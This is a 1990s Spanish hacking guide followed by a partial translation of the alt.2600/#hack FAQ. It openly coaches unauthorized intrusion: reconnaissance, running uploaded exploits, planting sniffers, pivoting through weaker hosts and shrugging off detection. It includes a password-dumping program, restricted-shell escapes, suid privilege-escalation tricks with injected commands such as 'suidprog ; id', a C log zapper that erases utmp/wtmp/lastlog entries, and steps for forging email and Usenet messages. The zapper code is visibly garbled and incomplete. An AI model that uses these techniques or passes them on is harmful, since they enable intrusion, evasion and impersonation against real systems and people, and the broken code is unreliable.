Un buen hacker debe ser organizado. Organizar los bugs según un cierto criterio es fundamental a la hora de hackear un ordenador. He visto gente que clasifica los bugs en distintos directorios según varios criterios. Algunos los clasifican según la fecha. Es decir, almacenan en un directorio los del 93, en otro los bugs aparecidos en el 94, en otro los del 95, etc. Otras personas, entre las que me incluyo, los organizan en distintos directorios según los sistemas operativos a los que afecten o los protocolos de Internet a los que afecten. Es decir, yo tengo recopilados en un directorio todos los bugs que funcionan en SunOS (todos los que tengo yo, se entiende, no todos los que existen :-)), en otro todos los que funcionan en Solaris, en otro los que funcionan en HP-UX, en otro los que se aprovechan fallos del sendmail, en otro los bugs generales que puedan funcionar en varios sistemas, en otro directorio los programas que me permitan borrar mis huellas, etc.

A la hora de hackear un ordenador lo primero será averiguar el sistema operativo que utiliza, su versión de sendmail, y otras cosas que explicaré después. El tener organizados los bugs o los EXPLOITS así como otros programas de utilidad (zappers para borrar las huellas o sniffers para conseguir cuentas) en directorios bien diferenciados nos permitirá ahorrar mucho tiempo a la hora de hackear y lo más importante (lo digo por experiencia), nos evitará hacernos lios y nos ayudará a decidirnos sobre qué bugs intentar explotar en dicho sistema.

IV - Zines o revistas electrónicas:

Las revistas o documentos electrónicos son llamados zines. En algunas de estas revistas o documentos están explicadas varias técnicas básicas de hacking así como lecciones de Unix orientadas a los hackers. Hay muchas revistas de este estilo y muy buenas:

FAQ de 2600
Phrack
LOD Technical Journal
Cotno
Infohax

etc....

2 - Información del ordenador objetivo:

Antes de intentar hackear un ordenador normalmente se recopilan una serie de datos que nos ayuden a decidirnos sobre qué técnica de hacking podemos utilizar.

Se puede conseguir información muy variada de un determinado host (ordenador), pero quizá lo fundamental sea intentar hallar los siguientes datos:

- Su dirección IP y su dirección de dominio.

  Cómo se consigue --> Si tenemos el host marcado como objetivo se suponen conocidas. Si sólo conocemos la dirección de dominio para hallar la dirección IP basta utilizar el comando "nslookup "

- Tipo de sistema operativo Unix que utiliza -->**MUY IMPORTANTE**<--

  Cómo se consigue --> Haciendo telnet

- Versión de Sendmail que utiliza

  Cómo se consigue --> Haciendo telnet 25
  Es decir, hacemos un telnet a la máquina pero al puerto 25. Una vez conectados para salir basta utilizar QUIT o para obtener ayuda HELP.

- Si soporta RPC y en caso afirmativo averiguar qué servicios RPC tiene.

  Cómo se consigue --> Utilizando el comando "rpcinfo -p "

- Si exporta directorios. Es decir, si tiene NFS, y en caso afirmativo, averiguar qué directorios exporta y a quién los exporta.

  Cómo se consigue --> Utilizando el comando "showmount -e "

- Averiguar qué otras máquinas hay en ese mismo dominio, y que sistema operativo utilizan esas otras máquinas.

  Cómo se consigue --> Utilizando el comando "nslookup". Cuando salga el

prompt del nslookup (un símbolo >) se utiliza
el comando "ls -d " para obtener
información del dominio.

Con estos datos ya podemos intentar algunas técnicas de hacking, en las cuales profundizaremos en próximos mensajes. :-)

Por último algunos consejos importantes (repito: son consejos basados en mi experiencia, que cada uno desarrolle sus propios recursos):

1 - En el caso de que consigais alguna cuenta para acceder al ordenador quizá una vez hayais entrado no sepais muy bien cómo reaccionar, es decir, no sepais qué hacer a continuación. Es en este momento donde toma importancia la organización que mencioné antes.

En ningún momento os pongais nerviosos o intenteis cosas a loco. Si veis que perdeis la calma lo mejor es apartarse de la pantalla diez o quince minutos, relajarse, y después intentar hallar un camino para conseguir privilegios.

Para intentar conseguir privilegios de root es fundamental ante todo que hagais una distinción de los bugs que podeis intentar explotar y aquellos que no debeis intentar explotar (debido a que si son bugs de otro sistema operativo Unix distinto al que estamos hackeando no servirán de nada), por eso os aconsejé la distribución en directorios de los bugs según el sistema o protocolo al que afecten. Esa organización os evitará pérdidas de tiempo (con lo que aumenta la impaciencia del hacker :-)) y os ayudará a decidir las técnicas de hacking que debeis intentar de las que no debeis intentar.

A la hora de intentar explotar algún bug relativo al sistema que estemos hackeando también es importante tener los exploits bien organizados y convenientemente editados (muchas veces los exploits vienen mezclados en mensajes de texto) para que lo único que tengamos que hacer sea subirlos por FTP al sistema y ejecutarlos (y compilarlos si no fueran shell scripts).

2 - En caso de que no os funcione ningún bug en el sistema de los que teneis, ante todo mucha calma. :-)

Importante: En este caso lo que debemos buscar es dejar las menos huellas posibles en el sistema. Las huellas que habeis dejado hasta el momento no podreis borrarlas así que por mucho que os preocupeis por ellas no podreis hacer nada, sólo esperar que el administrador no se dé cuenta de vuestras intrusiones (tanto en el utmp, wtmp o los logs del syslog). No intenteis cosas a lo loco como explotar bugs que funcionan en otros sistemas porque lo único que conseguireis será dejar más huellas y perder el tiempo.

Lo que sí podeis hacer es intentar explotar bugs que afecten a los sistemas Unix en general (hay algunos) o bugs que afecten a alguno de los protocolos TCP/IP. Si siguen sin funcionar ninguno dedicaos a explorar el sistema (hasta donde os permitan vuestros privilegios) para tener una visión general de cómo está protegido el sistema (por ejemplo viendo si los usuarios tienen ficheros .rhosts, si determinados ficheros tienen permisos set-uid, que propietario tienen determinados ficheros, etc...), y a partir de ahí teneis dos opciones PRINCIPALES (es decir, que puede haber más opciones pero yo siempre utilizo una de estas dos):

I - Olvidarse durante un par de días del sistema que intentamos hackear y aprender todo lo que podamos sobre el sistema operativo Unix que utiliza esa máquina, ya sea buscando bugs más modernos que sirvan para la versión del sistema que intentamos hackear como examinando FAQs, documentos o páginas html que traten sobre dicho sistema en general y su seguridad en particular, etc...

II - Hackear otra máquina del mismo dominio y que sea más fácil de hackear, es decir, que sea mucho más insegura (hay sistemas más "fáciles" o "inseguros" que otros debido a que se conocen más bugs sobre ellos. Seguramente el SunOS 4.1.x sea el sistema del que se conocen más bugs). Este método suele ser el más utilizado cuando una máquina se nos resiste debido a que existen más recursos al hackear una máquina (con técnicas que permiten conseguir privilegios de root A LA VEZ que conseguimos entrar en dicha máquina) desde una máquina de su mismo dominio que desde una máquina que no pertenezca a su dominio.

3 - Cuando no conseguimos acceder a un ordenador que pretendemos hackear el recurso que más se suele utilizar es el que hemos comentado antes. Se trata de hackear otra máquina del mismo domino que sea más insegura y desde esa máquina hackear la máquina que nos hemos puesto por objetivo.

I - La forma más sencilla es poner un sniffer en la máquina insegura que hemos hackeado esperando conseguir una cuenta de la máquina objetivo que pretendemos hackear.

II - Como he dicho antes, existen muchos más recursos para hackear una máquina desde otra máquina de su mismo dominio de los que se pueden utilizar al tratar de hackearla desde una máquina que no es de su dominio. Por ejemplo aprovechando los ficheros .rhosts mediante los comandos rlogin o rsh, comprobando si la máquina objetivo exporta directorios a la máquina que hemos hackeado, etc...

Para terminar un par de consejos para determinadas situaciones que se aprende a resolverlas a base de práctica, práctica y más práctica. Podeis leer un montón de documentos sobre hacking como este pero si quereis aprender a hackear de verdad lo mejor es la práctica y ponerse manos a la obra cuanto antes, y que vosotros seais vuestros propios profesores.

4 - Nunca os de miedo de intentar hacer cosas dentro del sistema (mientras tengan algún sentido claro, como he dicho antes, no hay que hacer las cosas a lo loco). No penseis que os van a pillar y que os van a cerrar el acceso. Si os pillan y os cierran el acceso mala suerte, eso forma parte del aprendizaje del hacker, os vais a hackear otro sistema y se acabó (incluso puede ser otro sistema del mismo dominio), pero siempre teneis que experimentar, intentar las cosas por vosotros mismos, no os limiteis a leerlas en un papel. Os descubrirán muchas veces y os cerrarán el acceso otras tantas veces, pero cada vez ireis espabilando y lo ireis haciendo mejor. Errores que cometisteis una o dos veces, más adelante no los volvereis a cometer. En definitiva: aunque os dé angustia el que os cierren el acceso a algún ordenador al que ya habiais conseguido entrar, no os dé miedo explorar el sistema y experimentar.

5 - Muchas veces intentareis compilar un programa para explotar algún bug y os dará errores cuando se supone que debía compilar correctamente. Debuggar los programas también forma parte de las labores del hacker. Con la práctica aprendereis a reconocer porqué tal o cual código fuente no compila correctamente.

----------Cut Here----------

2600 FAQ . Las preguntas más preguntadas.

Este texto esta traducido por mi del original en Ingles por lo que se observaran muchos fallos que espero corregir con vuestra ayuda.Son preguntas que todos nos hemos hecho alguna vez al empezar que
que tiene en este texto una respuesta clara y yo creo que sencilla . Ademas tambien trae codigo de lenguaje C ,
C++ que puede ser util para determinadas circustancias. Que lo disfruteis.

Archive-Name: alt-2600/faq
Posting-Frequency: Random
Last-Modified: 1996/01/07
Version: Beta .013

Welcome to Beta .013 of the alt.2600/#hack FAQ!

El propósito de este FAQ es darle una introducción general
a los tópicos tratados en alt.2600 # hack. Ningún documento
hara de usted un hacker.

Si tiene una pregunta con respecto a cualquier de los tópicos de este FAQ, por favor dirigirlo a alt.2600.
No namdar un e-mail yo no tengo tiempo responder a cada demanda
personalmente.

Si su copia del alt.2600/#hack FAQ no acaba con las letras EOT en una línea , no tiene el archivo entero FAQ.

Si no tiene el FAQ entero, lo puede recuperar de uno de
estos sitios:

Get it on FTP at:
rahul.net /pub/lps/sysadmin/
rtfm.mit.edu /pub/usenet-by-group/alt.2600/
clark.net /pub/jcase/
mirrors.aol.com /pub/rtfm/usenet-by-group/alt.2600/
ftp.winternet.com /users/nitehwk/phreak/

O tambien en the World Wide Web en:
www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html

Get it on my BBS:
Hacker's Haven (303)343-4053

The

alt.2600/#Hack F.A.Q.

Beta Revision .013

A TNO Communications Production

by
Voyager
will@gnu.ai.mit.edu

Sysop of
Hacker's Haven

(303)343-4053

Agradecimientos a :

A-Flat, Al, Aleph1, Bluesman, Cavalier, Cruiser, Cybin, C-Curve,
DeadKat, Disorder, Edison, Frosty, Glen Roberts, Hobbit,
Holistic Hacker, KCrow, Major, Marauder, Novocain, Outsider,
Per1com, Presence, Rogue Agent, Route, sbin, Taran King, Theora,
ThePublic, Tomes, and TheSaint.

Trabajamos en la oscuridad
Hacemos lo qué podemos
Damos lo qué tenemos
Nuestra duda es nuestra pasión, y nuestra pasión es nuestra tarea
El resto es la locura del arte.

-- Henry James

Cuando me imagino un lector perfecto, siempre me imagino un
monstruo de valor y curiosidad, también
ágil, astuto, precavido, un aventurero nato y
descubridor.

--Friedreich Nietzsche

U 17. ¿Cómo modifico el IRC cliente para esconder mi username real?
  18. ¿Cómo cambio a directorios que utilizan carácteres extraños en ellos?
U 19. ¿Qué es un ethernet sniffing??
  20. ¿Qué es un internet Outdial?
  21. ¿Donde hay internet Outdials?
U 22. ¿Cual es este sistema?
U 23. ¿Cuales son las cuentas por defecto en XXX?
  24. ¿Qué puerto es XXX ?
  25. ¿Qué es un troyano/ gusano/ virus/ bomba lógica ?
  26. ¿Cómo puedo protegerme de virus y demas?
  27. ¿Dónde puedo conseguir más información acerca de virus?
  28. ¿Qué es Cryptoxxxxxxx?
  29. ¿Qué es PGP?
  30. ¿Qué es Tempest?
  31. ¿Qué es un remailer anónimo?
U 32. ¿Cuales son las direcciones de algunos remailers anónimos?
  33. ¿Cómo quito la protección anti-copia?
  34. ¿Qué es 127.0.0.1?
  35. ¿Cómo publico en un newsgroup moderado ?
U 36. ¿Cómo publico en Usenet via e-mail?
  37. ¿Cómo quito una contraseña BIOS ?
N 38. ¿Cual es la contraseña para < archivo encriptado>?
N 39. ¿Hay una esperanza de un decompilador que convertiría un programa ejecutable en codigo C/ C++ ?
N 40. Cómo trabaja el encriptador de la contraseña del MS-Windows?

Aqui faltan las secciones B telefonia , C telefonos celulares ,que se encuentran en el archivo original.
Estas son aplicables solo en parte al sistema telefonico en españa y por eso no las traduje

Sección D: Recursos

  01. ¿Donde hay algunos sitios de ftp de interés a hackers?
  02. ¿Donde hay algunos sitios de fsp de interés a hackers?
U 03. ¿Donde hay algunos newsgroups de interés a hackers?
U 04. ¿Donde hay algunos sitios del telnet de interés a hackers?
U 05. ¿Donde hay algunos sitios de gopher de interés a hackers?
U 06. ¿Donde hay WWW sitios de interés a hackers?
  07. ¿Donde hay algunos canales IRC de interés a hackers?
U 08. ¿Donde hay algunos BBS de interés a hackers?
U 09. ¿Donde hay algunos libros de interés a hackers?
U 10. ¿Donde hay algunos videos de interés a hackers?
U 11. ¿Donde hay algunos mailing list (listas de correo) de interés a hackers?
U 12. ¿Donde hay unas revistas impresas de interés a hackers?
U 13. ¿Donde hay algunos e-zines de interés a hackers?
U 14. ¿Donde hay unas organizaciones de interés a hackers?
U 15. ¿Donde hay algunos programas de radio de interés a hackers?
N 16. ¿Donde hay otro FAQ de interés a hackers?
  17. ¿Dónde puedo comprar un codificador/ decodificador de la banda magnetica?

18. ¿Qué son los libros arco iris a y cómo puedo conseguirlos?

Sección E: 2600

01. ¿Qué es alt.2600?
02. ¿Qué hace" 2600" ?
03. ¿Hay versiones del en-línea de 2600 disponible?
04. No puedo hallar 2600 en algunas librerías. ¿Qué puedo hacer?
05. ¿Porqué es mas caro suscribirse a 2600 que comprarlo en un quiosco de periódicos?

Sección F: Misceláneo

01. ¿Qué representa XXX?
02. ¿Cómo determino si tengo un numero de tarjeta de crédito válido?
U 03. ¿Cual es el esquema de datos en tarjetas de banda magnética?
04. ¿Cuales es la ética del hacking?
05. ¿Dónde puedo hacer una copia del alt.2600/#hack FAQ?

U== puesto al día desde la última edicion del alt.2600/#hack FAQ
N== Nuevo desde la última edicion del alt.2600/#hack FAQ

Sección A: Computadoras
~~~~~~~~~~~~~~~~~~~~

01. ¿Cómo accedo al archivo de contraseña bajo Unix?

En Unix el archivo de la contraseña es normalmente /etc/passwd. En un sistema Unix con NIS/
yp o contraseña shadowing, muchos de los datos de la contraseña pueden estar en otra parte.
Una entrada en el archivo de contraseñas consta de siete campos delimitados:

Username
Contraseña encriptada (Y opcionalmente datos de caducidad de la contraseña)
Numero de usuario
Número de grupo
GECOS Información
Directorio origen
Shell que usa.

]
] Ejemplo de entrada en /etc/passwd:
~~~~~~~~~~~~~~~~~~~~

]
] will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash
]

Desmenuzada , esta linea de archivo passwd muestra:

Username: will
Contraseña encriptada: 5fg63fhD3d5gh
Numero de usuario : 9406
Número del grupo: 12
GECOS Información: Will Spencer
Directorio origen: /home/fsg/will
Shell: /bin/bash

02. ¿Cómo rompo contraseñas Unix ?

Contrario a la creencia popular,las contraseñas Unix no pueden ser desencriptadas.Las
contraseñas Unix son encriptadas con un una función de un solo camino. El programa del login
encripta el texto que entras en "password:" y compara
esa cadena encriptada con la forma encriptada de su contraseña.

El software para descifrar contraseñas usa listas de palabras. Cada palabra en la lista es encriptada y los resultados se comparan con la forma encriptada
de la contraseña objetivo.

El mejor programa para contraseñas Unix es comunmente Crack de
Alec Muffett. Para PC-DOS el mejor es comunmente
CrackerJack. CrackerJack esta disponible via ftp en clark.net
/pub/ jcase/.

03. ¿Qué es una contraseña shadowing?

Una contraseña shadowing es un sistema de garantía donde la contraseña del campo encriptado
de /etc/passwd se reemplaza con una ficha especial y la contraseña encriptada se guarda en un archivo separado
que no es leíble por usuarios normales del sistema .

Para derrotar una contraseña shadowing en muchos (pero no en todos) los sistemas, escribe un
programa que usa sucesivas llamadas a getpwent() para obtener el
archivo de contraseña .

Ejemplo:

#include

```
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}
```

04. ¿Dónde puedo hallar el archivo de contraseñas si esta shadowing?

Unix	Path	Token (lo que aparece en lugar de la contraseña)
AIX 3 or	/etc/security/passwd /tcb/auth/files//	!
A/UX 3.0s	/tcb/files/auth/?/*	
BSD4.3-Reno	/etc/master.passwd	*
ConvexOS 10	/etc/shadpw	*
ConvexOS 11	/etc/shadow	*
DG/UX	/etc/tcb/aa/user/	*
EP/IX	/etc/shadow	x
HP-UX	/.secure/etc/passwd	*
IRIX 5	/etc/shadow	x
Linux 1.1	/etc/shadow	*
OSF/1	/etc/passwd[.dir|.pag]	*
SCO Unix #.2.x	/tcb/auth/files//	
SunOS4.1+c2	/etc/security/passwd.adjunct	##username
SunOS 5.0	/etc/shadow	
System V Release 4.0	/etc/shadow	x
System V Release 4.2	/etc/security/* database	
Ultrix 4	/etc/auth[.dir|.pag]	*
UNICOS	/etc/udb	*

05. ¿Qué es NIS/yp?

NIS (Sistema de la Información de la Red) que en nombre corriente se conoce como yp (Páginas Amarillas).
El propósito de NIS es dejar a muchasmáquinas en una red compartir información de la configuración, incluso
datos de la contraseña.NIS no esta diseñado para dar garantía en el sistema.
Sisu sistema usa NIS tendrá un muy corto archivo /etc/passwd queincluye una línea que se parece a ésta:

+:: 0: 0:::

Para ver el archivo de la contraseña real usa esta orden "ypcat passwd"

06. ¿Qué son esos carácteres raros después de la coma en mi archivo passwd ?

Los carácteres son datos de la caducidad de la contraseña. La caducidad de la contraseña fuerza a el usuario a cambiar
la contraseña después de un período La caducidad de la contraseña puede forzar también a un usuario a guardar
una contraseña porun número seguro de semanas antes de cambiarla.

]
] entrada de ejemplo de / etc/passwd con caducidad de la contraseña instalada:
]
] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash
]

Notese la coma en el campo de la contraseña encriptada . Los carácteres después de la coma son usados por el mecanismo de caducidad de la contraseña.

]
] carácteres de caducidad de la Contraseña del ejemplo precedente:
]
] M.z8
]

Se interpretan los cuatro carácteres como sigue:

1: Máximo numero de semanas que puede usar una contraseña sin cambiarla.
2: Número del mínimo de semanas se debe usar una contraseña antes de cambiarla.
3& 4: El tiempo que ha pasado desde cambió contraseña, en número de semanas desde 1970.

Se deben notar tres casos especiales:

Si el primero y segundo caracter son fijos a ' .. ' el usuario esta
forzado a cambiar su passwd la próxima vez que acceda. El
programa passwd quitará entonces los carácteres de caducidad de la passwd, y el usuario no se sujetará a los requisitos de caducidad de la contraseña de nuevo.

Si el tercero y cuarto carácteres son fijo a ' ..' el usuario será
forzado cambiar su passwd la próxima vez que acceda.La caducidad de la contraseña entonces esta definida por el primero y segundo carácter.

Si el primer carácter (MAX) es menor que el carácter segundo (MIN),
no se permite cambiar al usuario su contraseña. Sólo el root puede
cambiar la contraseña de los usuarios.

Se debe notar también que el comando su no verifica los datos de caducidad de la contraseña. Una cuenta con un contraseña
caducada puede usarse (su) sin cambiar la contraseña.

Codificaciones de caducidad de la contraseña

Character:	.	/	0	1	2	3	4	5	6	7	8	9	A	B	C	D	E	F	G	H
Number:	0	1	2	3	4	5	6	7	8	9	10	11	12	13	14	15	16	17	18	19

Character:	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	a	b
Number:	20	21	22	23	24	25	26	27	28	29	30	31	32	33	34	35	36	37	38	39

Character:	c	d	e	f	g	h	i	j	k	l	m	n	o	p	q	r	s	t	u	v
Number:	40	41	42	43	44	45	46	47	48	49	50	51	52	53	54	55	56	57	58	59

Character:	w	x	y	z
Number:	60	61	62	63

07. ¿Cómo accedo al archivo de contraseñas bajo VMS?

Bajo VMS el archivo de la contraseña es SYS$SYSTEM: SYSUAF.DAT. Sin embargo, al contrario que en Unix , la mayoría de usuarios no tiene acceso a leer el archivo de contraseña.

08. ¿Cómo rompo contraseñas VMS?

Escriba un programa que usa las SYS$GETUAF funciones y comparar los resultados de las palabras encriptadas con los datos del encriptado SYSUAF.DAT.

Se sabe que existen dos de tales programas, CHECK_PASSWORD y GUESS_PASSWORD.

09. ¿Puedo ser seguido (logged) en un sistema VMS?

Virtualmente cada aspecto del sistema VMS se puede anotar para investigación. Para determinar el estado del accounting en su sistema use la orden SHOW ACCOUNTING.La contabilidad del sistema es una facilidad para grabar información acerca del uso de la máquina de un sistema desde la perspectiva de la contabilidad (usos de cada usuario en tiempo de CPU , uso de la impresora
etc.), mientras el sistema interviene se anota información con el propósito de la seguridad. Para habilitar el accounting:

$ SET ACCOUNTING [/ENABLE=(Activity...)]

Ésto habilita el anotar la información del logging al archivo SYS$MANAGER: ACCOUNTING.DAT. Este también se usa para cerrar el archivo del log actual y abre uno nuevo con un numero de versión más alto.

Se pueden anotar las actividades siguientes:

BATCH	Terminacion de un trabajo por lotes (batch job)
DETACHED	Terminacion de un trabajo aislado (detached job)
IMAGE	Ejecucion de image
INTERACTIVE	Terminacion del trabajo interacrivo
LOGIN_FAILURE	Logins fallados
MESSAGE	Mensajes de usuarios
NETWORK	Terminacion de trabajo en red.
PRINT	Trabajos de impresion
PROCESS	Todos los procesos terminados
SUBPROCESS	Terminacion de los subprocesos

Para habilitar un analisis de seguridad:

$ SET AUDIT [/ENABLE=(Activity...)]

La opcion /ALARM se usa para activar una alarma a todos los terminales para confirmarlos como operadores de garantía,
que recursos requieren SECURITYprivilegios.
Puede determinar su configuracion de analisis de seguridad Usar $ SHOW AUDIT /ALL
Se puede configurar el analisis para registrar las siguientes actividades:

ACL	Access Control List requested events
AUTHORIZATION	Modification to the system user authorization file SYS$SYSTEM:SYSUAF.DAT
BREAKIN	Attempted Break-ins
FILE_ACCESS	File or global section access
INSTALL	Occurrence of any INSTALL operations
LOGFAILURE	Any login failures
LOGIN	A login attempt from various sources
LOGOUT	Logouts
MOUNT	Mount or dismount requests

10. ¿Qué privilegios son disponibles en un sistema VMS ?

ACNT	Allows you to restrain accounting messages
ALLSPOOL	Allows you to allocate spooled devices
ALTPRI	Allot Priority. This allows you to set any priority value
BUGCHK	Allows you make bug check error log entries
BYPASS	Enables you to disregard protections
CMEXEC/ CMKRNL	Change to executive or kernel mode. These privileges allow a process to execute optional routines with KERNEL and EXECUTIVE access modes. CMKRNL is the most powerful privilege on VMS as anything protected can be accessed

if you have this privilege. You must have these privileges to gain access to the kernel data structures directly.

DETACH This privilege allow you to create detached processes of arbitrary UICs

DIAGNOSE With this privilege you can diagnose devices

EXQUOTA Allows you to exceed your disk quota

GROUP This privilege grants you permission to affect other processes in the same rank

GRPNAM Allows you to insert group logical names into the group logical names table.

GRPPRV Enables you to access system group objects through system protection field

LOG_IO Allows you to issue logical input output requests

MOUNT May execute the mount function

NETMBX Allows you to create network connections

OPER Allows you to perform operator functions

PFNMAP Allows you to map to specific physical pages

PHY_IO Allows you to perform physical input output requests

PRMCEB Can create permanent common event clusters

PRMGBL Allows you to create permanent global sections

PRMMBX Allows you to create permanent mailboxes

PSWAPM Allows you to change a processes swap mode

READALL Allows you read access to everything

SECURITY Enables you to perform security related functions

SETPRV Enable all privileges

SHARE Allows you to access devices allocated to other users. This is used to assign system mailboxes.

SHMEM Enables you to modify objects in shared memory

SYSGBL Allows you to create system wide permanent global sections

SYSLCK Allows you to lock system wide resources

SYSNAM Allows you to insert in system logical names in the names table.

SYSPRV If a process holds this privilege then it is the same as a process holding the system user identification code.

TMPMBX Allows you create temporary mailboxes

VOLPRO Enables you to override volume protection

WORLD When this is set you can affect other processes in the world

To determine what privileges your process is running with issue the command:

$ show proc/priv

11. ¿Cómo salgo de un shell restringido?

En shell restringidos pobremente implementados puedes salir del ambiente restringido ejecutando un programa que tenga funciones para el shell.

Un ejemplo bueno es vi (un editor de textos).
Corra vi y usa esta orden:

:set shell=/bin/sh

entonces use el shell con esta orden:

:shell

Si su restringido shell le prohibe usar la orden cd,haga ftp
a su propia cuenta y usted podra hacer cd.

12. ¿Cómo consigo llegar a root con un suid script o un programa?

1. Cambio de IFS.

Si el programa llama cualquier otro programa usando la llamada a la funcion system() , podría engañarlo cambiando IFS. IFS es el Internal
Field Separator que el shell usa para delimitar argumentos.

Si el programa contiene una línea que se parece a ésta:

system("/bin/date")

y tu cambias IFS a '/ ' el shell interpreta la
línea del procedimiento como:

bin date

Ahora, si tiene un programa de tu propiedad en el paht llamado "bin" el programa del suid correrá su programa en lugar de /bin/date (n.t. El programa bin obviamente estara hecho por ti
con lo que necesites hacer como root o con una funcion que salga a shell con los privilegios del root ;-))

Para cambiar IFS, usa esta orden:

```
IFS='/';export IFS      # Bourne Shell
setenv IFS '/'          # C Shell
export IFS='/'          # Korn Shell
```

2. Link el scrip a -i

Cree un enlace simbólico llamado "-i" al programa. Funcionando "- i"
obliga al intérprete shell (/bin/sh)a ponerse en marcha en modo interactivo. Esto sólo funciona en suid shell scripts.

Ejemplo:

```
% ln suid.sh -i
% -i
#
```

3. Explote una condicion de raza

Reemplace un enlace simbólico al programa con otro programa mientras el kernel carga /bin/sh.

Ejemplo:

```
nice -19 suidprog ; ln -s evilprog suidroot
```

4. Envíe una entrada mala al programa.

Invoque el nombre del programa y una orden separada en la misma línea de orden.

Ejemplo:

```
suidprog ; id
```

13. ¿Cómo borro mi presencia de los logs (registros) del sistema?

Mire /etc/utmp, /usr/adm/wtmp y /usr/adm/lastlog. Éstos no son archivos de texto que se puedan revisar a mano con vi, debe usar un programa específicamente escrito con este propósito.

Ejemplo:

```
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
```

```
{
    struct utmp utmp_ent;

  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                write (f, &utmp_ent, sizeof (utmp_ent));
            }
     close(f);
  }
}

void kill_wtmp(who)
char *who;
{
    struct utmp utmp_ent;
    long pos;

    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {

     while(pos != -1L) {
        lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
        if (read (f, &utmp_ent, sizeof (struct utmp))= 0) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));
            close(f);
        }

    } else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
    if (argc==2) {
        kill_lastlog(argv[1]);
        kill_wtmp(argv[1]);
        kill_utmp(argv[1]);
        printf("Zap2!\n");
    } else
    printf("Error.\n");
}
```

14. ¿Cómo envío falsos mails?

Telnet al puerto 25 de la máquina donde quieres que el correo apareaca para generarlo. Ponga su mensaje como en este ejemplo:

```
HELO bellcore.com
MAIL FROM:voyager@bellcore.com
RCPT TO: jose_maria_Aznar@lamoncloa.gov
DATA
From: voyager@bellcore.com (The Voyager)
To: jose_maria_Aznar@lamoncloa.gov
Subject: Recortes
Reply-To: voyager@bellcore.com

        Por favor interrumpa su tonta iniciativa de recortes.
.
QUIT
```

En sistemas que tengan RFC 931 implementado la linea "MAIL FROM:"

no funcionara. Pruebalo primero enviandote a ti mismo un mail falso.

Para mas informacion lea RFC 822 "Standard for the format of ARPA Internet text messages"

15. ¿Cómo falsifico publicacion de articulos y mensajes de control en UseNet?

```
From: Anonymous (Pretending to be: tale@uunet.uu.net (David C Lawrence))
Subject: FAQ: Better living through forgery
Date: 19 Mar 1995 02:37:09 GMT

        Noticias anónimas sin  remailers "anónimos"
```

Inspirado por el reciente caso "NetNews Judges-L" este archivo ha sido puesto al día para cubrir los mensajes de mando, así puede hacer su propio cancelador de artículos y crear y destruir su newsgroups propio.

Guarde todos los artículos de las noticias a un archivo. Lo llamaremos "hak" en este ejemplo.

Edite "hak", y quite cualquier linea en la cabecera de la forma

```
From some!random!path!user   (  Fijese: "From ", no "From: " !!)
Article:
Lines:
Xref:
```

Acorte el Path : header a sus ULTIMOS dos o tres componentes "[bangized]" . Ésto hara creer que el artículo fue publicado do where it really was posted, and originally hit the net at or near the host you send it to. O puede construir un path completamente nuevo:Una línea

para reflejar su supuesto alias.

Hacemos algunos cambios al campo Message-ID: , ése no está probablemente duplicado en ningun mensaje .
Para este usualmente es mejor agregar un par de
carácteres del azar a la parte antes de el @, desde los pogramas de publicar noticias generalmente usan un campo de longitud-fija para generar estos IDs.

Cambie los otros títulos que dicen como es usted como--From:, Newsgroups:, Sender:, etc. Reemplaza el texto del mensaje original con su mensaje. Si publica en un grupo moderado o anuncia un mensaje de control, acuerdese de poner en un Approved: título para desviar el mecanismo de moderación.

Para cancelar específicamente algun artículo, necesitara su mensaje-ID. Sus cabeceras del mensaje, además de lo qué esta ya allí, debe también contener lo siguiente con este mensaje-ID en él. Ésto le hace un "mensaje de control." NOTA: mensajes de control generalmente requieren un header Approved: asi pues, debe agregar uno.

Subject: cmsg cancel
Control: cancel
Approved: luser@twits.site.com

Se crean y destrullen Newsgroups con mensajes de mando, tambien. Si quiere crear, por ejemplo, comp.misc.microsoft.sucks, sus headers(cabeceras) de control se parecerían a

Subject: cmsg newgroup comp.misc.microsoft.sucks
Control: newgroup comp.misc.microsoft.sucks

Agrega la cadena "moderated" al final de estos si quieres que el grupo sea "moderado sin moderador" como con alt.hackers. En alguna parte en el cuerpo de su mensaje, debe incluir el texto siguiente, cambiado con la descripción del grupo que usted crea:

For your newsgroups file:
comp.misc.microsoft.sucks We don't do windows

Para quitar un grupo, sustitulla rmgroup por newgroup en las líneas de cabecera. Tenga presente que en la mayoría de sitios
todas las demandas rmgroup son puestas en marcha por una persona , el news-master quien puede o no decidir honrarlo.
La creación del grupo es más probable que sea automática no como el borrado en la mayoria de
instalaciones. Cualquier cambio en un newsgroup sera más probable que tenga efecto si
viene de mí, puesto que mi nombre es (hardwired) en muchos control scripts del NNTP
, así es recomendable usar las cabeceras From: y Approved: en éste anuncio.

Guarde su articulo cambiado , reviselo para asegurarse que NO contiene ninguna referencia a ti o a su propio site, y lo
envía a su servidor favorito NNTP que permite transferirlo via el comando IHAVE , usando el siguiente script:

```
======================
#! /bin/sh
## Post an article via IHAVE.
## args: filename server

 if test "$2" = "" ; then
  echo usage: $0 filename server
  exit 1
fi
if test ! -f $1 ; then
  echo $1: not found
  exit 1
fi

# suck msg-id out of headers, keep the brackets
msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \
